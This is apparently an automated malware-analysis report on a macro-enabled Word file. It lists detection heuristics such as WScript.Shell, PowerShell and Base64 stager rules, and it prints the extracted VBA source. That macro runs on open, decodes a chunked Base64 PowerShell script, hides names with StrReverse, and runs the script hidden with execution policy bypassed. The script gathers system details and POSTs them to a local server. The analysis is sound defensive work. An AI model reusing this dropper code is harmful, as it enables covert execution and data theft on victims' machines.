MALICIOUS
378
Risk Score
Heuristics 11
-
VBA project inside OOXML medium 8 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Dim fso As Object, tmp As Object, shell As Object -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set shell = CreateObject("WScript.Shell") -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File """ & path & """", 0, True -
VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGERVBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.Matched line in script
Dim fso As Object, tmp As Object, shell As Object -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set fso = CreateObject("Scripting.FileSystemObject") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "AutoOpen" -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
path = Environ(StrReverse("PMET")) & "\" & fileName ' "TEMP" reversed -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://127.0.0.1:1080/ Referenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 5402 bytes |
SHA-256: dba4aa20a4934c5d7e6fb35e1728654b7eeace8c4ee21318caddd344028ce5f0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Sub AutoOpen()
RunPS
End Sub
Sub RunPS()
Dim chunks(1 To 35) As String
Dim full As String
Dim i As Integer
Dim fso As Object, tmp As Object, shell As Object
Dim path As String
' ----- PowerShell script (corrected) base64 encoded, split into ~256 char chunks -----
chunks(1) = "JFNlcnZlclVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjEwODAvJw0KJFJlcG9ydCA9IEAoKQ0KJFJl"
chunks(2) = "cG9ydCArPSAnPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09"
chunks(3) = "PT09PScNClJFcG9ydCArPSAnU1lTVEVNIFJFUE9SVCcNCiRSZXBvcnQgKz0gJ0dlbmVyYXRlZDog"
chunks(4) = "JyArIChHZXQtRGF0ZSkNCiRSZXBvcnQgKz0gJz09PT09PT09PT09PT09PT09PT09PT09PT09PT09"
chunks(5) = "PT09PT09PT09PT09PT09PT09PT09PT0nDQokUmVwb3J0ICs9ICcnDQokUmVwb3J0ICs9ICc9PT09"
chunks(6) = "PSBDT01QVVRFUiBJTkZPID09PT09Jw0KJFJlcG9ydCArPSAoR2V0LUNvbXB1dGVySW5mbyB8IE91"
chunks(7) = "dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBPUEVSQVRJTkcgU1lTVEVNID09PT09Jw0KJFJl"
chunks(8) = "cG9ydCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX09wZXJhdGluZ1N5c3RlbSB8IEZvcm1hdC1M"
chunks(9) = "aXN0IENhcHRpb24sVmVyc2lvbixCdWlsZE51bWJlcixPU0FyY2hpdGVjdHVyZSxMYXN0Qm9vdFVw"
chunks(10) = "VGltZSB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBCSU9TID09PT09Jw0KJFJlcG9y"
chunks(11) = "dCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX0JJT1MgfCBGb3JtYXQtTGlzdCBNYW51ZmFjdHVy"
chunks(12) = "ZXIsU01CSU9TQmlvc1ZlcnNpb24sUmVsZWFzZURhdGUgfCBPdXQtU3RyaW5nKQ0KJFJlcG9ydCAr"
chunks(13) = "PSAnPT09PT0gQ1BVID09PT09Jw0KJFJlcG9ydCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX1By"
chunks(14) = "b2Nlc3NvciB8IEZvcm1hdC1MaXN0IE5hbWUsTWFudWZhY3R1cmVyLE51bWJlck9mQ29yZXMsTnVt"
chunks(15) = "YmVyT2ZMb2dpY2FsUHJvY2Vzc29ycyB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBN"
chunks(16) = "RU1PUlkgPT09PT0nDQokUmVwb3J0ICs9IChHZXQtQ2ltSW5zdGFuY2UgV2luMzJfUGh5c2ljYWxN"
chunks(17) = "ZW1vcnkgfCBGb3JtYXQtVGFibGUgTWFudWZhY3R1cmVyLENhcGFjaXR5LFNwZWVkIC1BdXRvU2l6"
chunks(18) = "ZSB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBESVNLUyA9PT09PScNCiRSZXBvcnQg"
chunks(19) = "Kz0gKEdldC1DaW1JbnN0YW5jZSBXaW4zMl9Mb2dpY2FsRGlzayB8IEZvcm1hdC1UYWJsZSBEZXZp"
chunks(20) = "Y2VJRCxWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHtMYWJlbD0nU2l6ZShHQiknO0V4cHJlc3Npb249"
chunks(21) = "e1ttYXRoXTo6Um91bmQoJF8uU2l6ZS8xR0IsMil9fSxAe0xhYmVsPSdGcmVlKEdCKSc7RXhwcmVz"
chunks(22) = "c2lvbj17W21hdGhdOjpSb3VuZCgkXy5GcmVlU3BhY2UvMUdCLDIpfX0gLUF1dG9TaXplIHwgT3V0"
chunks(23) = "LVN0cmluZykNCiRSZXBvcnQgKz0gJz09PT09IE5FVFdPUksgPT09PT0nDQokUmVwb3J0ICs9IChH"
chunks(24) = "ZXQtQ2ltSW5zdGFuY2UgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgV2hlcmUt"
chunks(25) = "T2JqZWN0IHsgJF8uSVBFbmFibGVkIH0gfCBGb3JtYXQtTGlzdCBEZXNjcmlwdGlvbixNQUNBZGRy"
chunks(26) = "ZXNzLElQQWRkcmVzcyxEZWZhdWx0SVBHYXRld2F5LEROU1NlcnZlclNlYXJjaE9yZGVyIHwgT3V0"
chunks(27) = "LVN0cmluZykNCiRSZXBvcnQgKz0gJz09PT09IEdQVSA9PT09PScNCiRSZXBvcnQgKz0gKEdldC1D"
chunks(28) = "aW1JbnN0YW5jZSBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtTGlzdCBOYW1lLEFkYXB0"
chunks(29) = "ZXJSQU0sRHJpdmVyVmVyc2lvbiB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBSVU5O"
chunks(30) = "SU5HIFBST0NFU1NFUyA9PT09PScNCiRSZXBvcnQgKz0gKEdldC1Qcm9jZXNzIHwgU29ydC1PYmpl"
chunks(31) = "Y3QgUHJvY2Vzc05hbWUgfCBTZWxlY3QtT2JqZWN0IC1GaXJzdCAzMCB8IE91dC1TdHJpbmcpDQok"
chunks(32) = "U3lzdGVtSW5mb1RleHQgPSAkUmVwb3J0IC1qb2luICJgcgBuIg0KdHJ5IHsNCiAgICBJbnZva2Ut"
chunks(33) = "UmVzdE1ldGhvZCAtVXJpICRTRVJWRVJVUkwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRTeXN0ZW1JbmZv"
chunks(34) = "VGV4dCAtQ29udGVudFR5cGUgJ3RleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgnDQp9IGNhdGNoIHsN"
chunks(35) = "CiAgICBleGl0IDEgDQp9"
' Combine chunks
full = ""
For i = 1 To 35
full = full & chunks(i)
Next i
' Decode Base64 and write to 1.jpeg
' "1.ps1" reversed is "1sp.1"
Dim revName As String
revName = "1sp.1"
Dim fileName As String
fileName = StrReverse(revName) ' becomes "1.ps1"
Set fso = CreateObject("Scripting.FileSystemObject")
path = Environ(StrReverse("PMET")) & "\" & fileName ' "TEMP" reversed
Set tmp = fso.CreateTextFile(path, True)
tmp.Write DecodeBase64(full)
tmp.Close
' Execute PowerShell hidden
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File """ & path & """", 0, True
' Cleanup (optional)
On Error Resume Next
fso.DeleteFile path
On Error GoTo 0
End Sub
Function DecodeBase64(ByVal s As String) As String
Dim d As Object, node As Object
' Add padding
Do While Len(s) Mod 4 <> 0
s = s & "="
Loop
Set d = CreateObject("MSXML2.DOMDocument")
Set node = d.CreateElement("tmp")
node.DataType = "bin.base64"
node.Text = s
DecodeBase64 = StrConv(node.NodeTypedValue, vbUnicode)
Set node = Nothing
Set d = Nothing
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 36352 bytes |
SHA-256: 0671bc1d732cac54139f38970f14cfa9a53c321bd5ed1a64a8f3111f1745170a |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.